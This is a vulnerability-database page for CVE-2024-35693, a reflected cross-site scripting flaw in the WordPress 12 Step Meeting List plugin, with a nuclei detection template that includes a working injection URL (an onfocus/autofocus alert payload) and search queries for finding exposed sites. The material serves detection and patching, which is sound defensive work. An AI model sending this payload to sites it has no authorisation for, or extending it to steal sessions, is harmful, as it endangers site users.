HexBrain

Browse / CVEs / CVE-2024-35693

CVE-2024-35693· code4recovery / 12-step-meeting-list· CWE-79

WordPress 12 Step Meeting List Plugin <= 3.14.33 - Cross-Site Scripting

mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
48%of all CVEs are less likely
Readycheck to confirm it

Code for Recovery 12 Step Meeting List versions up to 3.14.33 contain a reflected cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in users' browsers, exploit requires attacker to craft a malicious URL.

Impact

Attackers can execute malicious scripts in user browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.

Fix

Implement proper input sanitization and output encoding, and update to the latest version.

How to confirm it

Send: GET {{BaseURL}}/?post_type=tsml_meeting&tsml-query=%22%20onfocus%3Dalert%28document.domain%29%20autofocus%20%22
Positive when: contains "value=\"\" onfocus=alert(document.domain) autofocus" and "tsml" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-35693 -u <target>

The full check
id: CVE-2024-35693

info:
  name: WordPress 12 Step Meeting List Plugin <= 3.14.33 - Cross-Site Scripting
  author: intelligent-ears
  severity: medium
  description: |
    Code for Recovery 12 Step Meeting List versions up to 3.14.33 contain a reflected cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in users' browsers, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute malicious scripts in user browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.
  remediation: |
    Implement proper input sanitization and output encoding, and update to the latest version.
  reference:
    - https://patchstack.com/database/vulnerability/12-step-meeting-list/wordpress-12-step-meeting-list-plugin-3-14-33-cross-site-scripting-xss-vulnerability
    - https://github.com/code4recovery/12-step-meeting-list/issues/1415
    - https://wordpress.org/plugins/12-step-meeting-list
    - https://nvd.nist.gov/vuln/detail/CVE-2024-35693
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-35693
    epss-score: 0.00585
    epss-percentile: 0.48293
    cwe-id: CWE-79
    cpe: cpe:2.3:a:code4recovery:12_step_meeting_list:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: code4recovery
    product: 12-step-meeting-list
    framework: wordpress
    fofa-query: body="/wp-content/plugins/12-step-meeting-list/"
    publicwww-query: "/wp-content/plugins/12-step-meeting-list/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,xss,reflected,12-step-meeting-list,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?post_type=tsml_meeting&tsml-query=%22%20onfocus%3Dalert%28document.domain%29%20autofocus%20%22"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value="" onfocus=alert(document.domain) autofocus'
          - 'tsml'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from